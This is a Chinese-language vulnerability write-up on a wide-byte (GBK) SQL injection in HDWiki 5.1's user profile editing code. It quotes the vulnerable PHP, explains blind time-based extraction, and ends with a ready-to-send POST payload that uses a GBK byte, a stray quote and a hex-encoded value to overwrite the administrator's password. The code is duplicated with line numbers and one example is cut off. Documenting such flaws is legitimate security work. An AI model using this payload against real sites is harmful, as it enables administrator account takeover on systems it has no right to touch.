问题出在\hdwiki\control\user.php下最新版HDWIKI 5.1 GBK版本HDWIKI全局过滤，但是面对宽字节注入，就容易出问题了

function doeditprofile(){

if(isset($this->post['submit'])){

$gender = intval($this->post['gender']);

$birthday = strtotime($this->post['birthday']);

$location = $this->post['location'];

$signature = $this->post['signature'];

if (WIKI_CHARSET == 'GBK'){

$location = string::hiconv($location);

$signature = string::hiconv($signature);

}

$location = htmlspecialchars($location);

$signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature));$_ENV['user']->set_profile($gender,$birthday,$location,$signature,$this->user['uid']);

}else{

if(0 == $this->user['birthday']){

$birthday = '';

}else{

$birthday=$this->setting['time_offset']*3600+$this->setting['time_diff']*60+$this->user['birthday'];

$birthday = date('Y-m-d',$birthday);

}$this->view->assign('birthday',$birthday);

//$this->view->display('editprofile');

$_ENV['block']->view('editprofile');

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

functiondoeditprofile(){

if(isset($this->post['submit'])){

$gender=intval($this->post['gender']);

$birthday=strtotime($this->post['birthday']);

$location=$this->post['location'];

$signature=$this->post['signature'];

if(WIKI_CHARSET=='GBK'){

$location=string::hiconv($location);

$signature=string::hiconv($signature);

}

$location=htmlspecialchars($location);

$signature=htmlspecialchars(str_replace(array('\n','\r'),'',$signature));$_ENV['user']->set_profile($gender,$birthday,$location,$signature,$this->user['uid']);

}else{

if(0==$this->user['birthday']){

$birthday='';

}else{

$birthday=$this->setting['time_offset']*3600+$this->setting['time_diff']*60+$this->user['birthday'];

$birthday=date('Y-m-d',$birthday);

}$this->view->assign('birthday',$birthday);

//$this->view->display('editprofile');

$_ENV['block']->view('editprofile');

}

}

关键代码是

$location = string::hiconv($location);

$signature = string::hiconv($signature);

}

$location = htmlspecialchars($location);

$signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature));

1

2

3

4

5

$location=string::hiconv($location);

$signature=string::hiconv($signature);

}

$location=htmlspecialchars($location);

$signature=htmlspecialchars(str_replace(array('\n','\r'),'',$signature));

HDWIKI在大部分编码转换之后的地方都会addslashes这里我们跟进这个函数set_profile()

function set_profile($gender,$birthday,$location,$signature,$uid){

$this->db->query("UPDATE `".DB_TABLEPRE."user` SET gender = '$gender',birthday = '$birthday',location = '$location',signature = '$signature' WHERE uid = $uid");

1

2

functionset_profile($gender,$birthday,$location,$signature,$uid){

$this->db->query("UPDATE `".DB_TABLEPRE."user` SET gender = '$gender',birthday = '$birthday',location = '$location',signature = '$signature' WHERE uid = $uid");

进入mysql前并没有进行addslashes而且我们有$location，$signature思路是让location引入\注释后面的单引号 由signature来注入由于没有开display_error ,我们延时看看

我们就能盲注查询管理员密码但是有时候密码是破不出来的，怎么办呢我们其实可以替换管理员密码先说说HDWKI的表构造由于管理员和普通的账号都存储在wiki_user下，所以这里由于是update的是这个表但是问题来了我们引入password的时候 格式一般都是

password='b5ebc89058e80ef0189090a0390109e4'

1

password='b5ebc89058e80ef0189090a0390109e4'

但是这里是无法引入单引号的(会被addslashes)，而不打单引号又会被当成表名，不被识别为value。这里用要一个小技巧MYSQL对十六进制是能够自动识别 转换的。比如

这样我们就能绕过单引号而update管理员密码了我们先本地用脚本转换ascii为hex

echo bin2hex($_GET[a]);

?>

1

2

3

echobin2hex($_GET[a]);

?>

然后向http://localhost/hdwiki/index.php?user-editprofilepost

gender=0&birthday=2015-02-18&location=%E9%8C%A6%27&signature=, password=0x3231323332663239376135376135613734333839346130653461383031666333#&submit=true

1

gender=0&birthday=2015-02-18&location=%E9%8C%A6%27&signature=,password=0x3231323332663239376135376135613734333839346130653461383031666333#&submit=true

成功修改密码